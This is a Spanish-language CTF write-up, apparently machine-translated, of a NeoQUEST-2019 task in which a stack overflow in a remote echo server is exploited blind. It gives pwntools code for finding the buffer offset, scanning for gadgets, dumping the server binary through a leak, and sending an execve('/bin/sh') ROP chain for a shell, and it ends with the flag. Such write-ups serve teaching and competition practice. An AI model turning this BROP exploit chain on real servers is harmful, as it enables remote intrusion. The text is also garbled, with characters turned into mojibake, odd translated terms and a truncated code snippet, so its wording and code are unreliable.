驴C贸mo encontrar una vulnerabilidad en un servidor sin informaci贸n al respecto? 驴En qu茅 se diferencia BROP de ROP? 驴Es posible descargar un archivo ejecutable de un servidor a trav茅s de un desbordamiento de b煤fer? 隆Bienvenido al gato, analizaremos las respuestas a estas preguntas en el ejemplo de pasar la tarea
NeoQUEST-2019 !
Se
dan la direcci贸n y el puerto del servidor:
213.170.100.211 10000 . Intentemos conectarnos a 茅l:
A primera vista, nada especial, un servidor de eco normal: devuelve lo mismo que nosotros mismos le enviamos.
Despu茅s de jugar con el tama帽o de los datos transmitidos, puede notar que con una longitud de l铆nea suficientemente larga, el servidor no se pone de pie y termina la conexi贸n:
Hmm, parece un desbordamiento.
Encuentra la longitud del b煤fer. Simplemente puede iterar sobre los valores, increment谩ndolos, hasta que obtengamos una salida no est谩ndar del servidor. Y puede mostrar un poco de ingenio y acelerar el proceso mediante la b煤squeda binaria, comprobando si el servidor se bloque贸 o no cay贸 despu茅s de la siguiente solicitud.
Determinar la longitud del b煤ferfrom pwn import * import threading import time import sys ADDR = "213.170.100.211" PORT = 10000 def find_offset(): start = 0 end = 200 while True: conn = remote(ADDR, PORT) curlen = (start + end)
Entonces, la longitud del b煤fer es de 136. Si env铆a 136 bytes al servidor, borramos el byte nulo al final de nuestra l铆nea en la pila y obtenemos los datos que lo siguen: el valor es 0x400155. Y esta, aparentemente, es la direcci贸n del remitente. De esta manera, podemos controlar el flujo de ejecuci贸n. Pero nosotros no tenemos el archivo ejecutable, y no sabemos d贸nde se pueden ubicar exactamente los dispositivos ROP que nos permitir铆an obtener el shell.
驴Qu茅 se puede hacer al respecto?
Existe una t茅cnica especial que le permite resolver este tipo de problema sujeto al control de la direcci贸n de
retorno: Programaci贸n orientada al retorno a ciegas . En esencia, BROP es un escaneo ciego de un archivo ejecutable para dispositivos. Reescribimos la direcci贸n de retorno con alguna direcci贸n del segmento de texto, establecemos los par谩metros para el gadget deseado en la pila y analizamos el comportamiento del programa. Basado en el an谩lisis, nace una suposici贸n ya sea que hayamos adivinado o no. Los dispositivos auxiliares especiales desempe帽an un papel importante:
detener (su ejecuci贸n no conducir谩 a la finalizaci贸n del programa) y
Trampa (su ejecuci贸n har谩 que el programa finalice). Por lo tanto, al principio se encuentran dispositivos auxiliares y, con su ayuda, ya se buscan los necesarios (por regla general, para llamar a
escribir y obtener el archivo ejecutable).
Por ejemplo, queremos encontrar un gadget que ponga un solo valor de la pila en un registro y
ret . Registraremos la direcci贸n probada en lugar de la direcci贸n de retorno para transferirle el control. Despu茅s de eso, anotamos la direcci贸n del gadget
Trap que encontramos anteriormente, y detr谩s est谩 la direcci贸n del gadget
Stop . Lo que finalmente resulta: si el servidor se bloque贸 (
Trap funcion贸), entonces el gadget se encuentra en la direcci贸n de prueba actual, que no coincide con la buscada: no elimina la direcci贸n del gadget
Trap de la pila. Si
Stop funcion贸, entonces el gadget actual puede ser justo lo que estamos buscando: elimin贸 un valor de la pila. Por lo tanto, puede buscar gadgets que coincidan con un comportamiento espec铆fico.
Pero en este caso, la b煤squeda puede simplificarse. Sabemos con certeza que el servidor nos est谩 imprimiendo alg煤n valor en respuesta. Puede intentar escanear varias direcciones en el archivo ejecutable y ver si llegamos al c贸digo que muestra la l铆nea nuevamente.
Descubrimiento de gadget lock = threading.Lock() def safe_get_next(gen): with lock: return next(gen) def find_puts(offiter, buffsize, base=0x400000): offset = 0 while True: conn = remote(ADDR, PORT) try: offset = safe_get_next(offiter) except StopIteration: return payload = b'A' * buffsize payload += p64(base + offset) if offset % 0x10 == 0: print("Checking address {:#x}".format(base + offset), flush=True) conn.send(payload) time.sleep(2) try: r = conn.recv() r = r.strip(b'A' * buffsize)[3:] if len(r) > 0: print("Memleak at {:#x}, {} bytes".format(base + offset, len(r)), flush=True) except: pass finally: conn.close() offset_iter = iter(range(0x200)) for _ in range(16): threading.Thread(target=find_puts, args=(offset_iter, buffer_size, 0x400100)).start() time.sleep(1)
驴C贸mo podemos obtener el archivo ejecutable usando esta filtraci贸n?
Sabemos que el servidor escribe una l铆nea en respuesta. Cuando vamos a la direcci贸n
0x40016f, los par谩metros de la funci贸n de salida se llenan con alg煤n tipo de basura. Dado que, a juzgar por la direcci贸n de retorno, estamos tratando con un archivo ejecutable de 64 bits, los par谩metros de las funciones
se encuentran en registros.
Pero, 驴qu茅 sucede si encontramos un dispositivo que nos permita controlar el contenido de los registros (ponerlos all铆 desde la pila)? Tratemos de encontrarlo usando la misma t茅cnica. Podemos poner cualquier valor en la pila, 驴verdad? Por lo tanto, necesitamos encontrar un gadget pop que ponga nuestro valor en el registro deseado antes de llamar a la funci贸n de salida. Establezca la direcci贸n del comienzo del archivo ELF (
0x400000 ) como la direcci贸n de la cadena. Si encontramos el gadget correcto, entonces el servidor tendr谩 que imprimir la firma
7F 45 4C 46 en respuesta.
La b煤squeda de gadgets contin煤a def find_pop(offiter, buffsize, puts, base=0x400000): offset = 0 while True: conn = remote(ADDR, PORT) try: offset = safe_get_next(offiter) except StopIteration: return if offset % 0x10 == 0: print("Checking address {:#x}".format(base + offset), flush=True) payload = b'A' * buffsize payload += p64(base + offset) payload += p64(0x400001) payload += p64(puts) conn.send(payload) time.sleep(1) try: r = conn.recv() r = r.strip(b'A' * buffsize)[3:] if b'ELF' in r: print("Binary leak at at {:#x}".format(base + offset), flush=True) except: pass finally: conn.close() offset_iter = iter(range(0x200)) for _ in range(16): threading.Thread(target=find_pop, args=(offset_iter, buffer_size, 0x40016f, 0x400100)).start() time.sleep(1)
Usando el conjunto resultante de direcciones, bombeamos el archivo ejecutable desde el servidor.
Extracci贸n de archivos def dump(buffsize, pop, puts, offset, base=0x400000): conn = remote(ADDR, PORT) payload = b'A' * buffsize payload += p64(pop) payload += p64(base + offset) # what to dump payload += p64(puts) conn.send(payload) time.sleep(0.5) r = conn.recv() r = r.strip(b'A' * buffsize) conn.close() if r[3:]: return r[3:] return None
Vamos a verlo en la IDA:
La direcci贸n
0x40016f nos lleva a
syscall , y
0x40017f nos lleva a
pop rsi ;
ret .
Ahora que tiene un archivo ejecutable a mano, puede construir una cadena ROP. 隆Adem谩s, la l铆nea
/ bin / sh tambi茅n estaba en ella !
Formamos una cadena que llama al
sistema con el argumento
/ bin / sh . Puede encontrar informaci贸n sobre las llamadas al sistema en Linux de 64 bits, por ejemplo,
aqu铆 .
脷ltimo peque帽o paso def get_shell(buffsize, base=0x400000): conn = remote(ADDR, PORT) payload = b'A' * buffsize payload += p64(base + 0x17d) payload += p64(59) payload += p64(0) payload += p64(0) payload += p64(base + 0x1ce) payload += p64(base + 0x1d0) payload += p64(base + 0x17b) conn.send(payload) conn.interactive()
Ejecute el exploit y obtenga el shell:
Victoria!
NQ201934D811DCBD6AA2926218976CB3340DE95902DD0F33E60E4FF32BAD209BBA4433Muy pronto, aparecer谩n vraytaps para las otras tareas de la etapa en l铆nea de NeoQUEST-2019. 隆Y la "confrontaci贸n" tendr谩 lugar el 26 de junio! Las noticias aparecer谩n en
el sitio web del evento, 隆no te lo pierdas!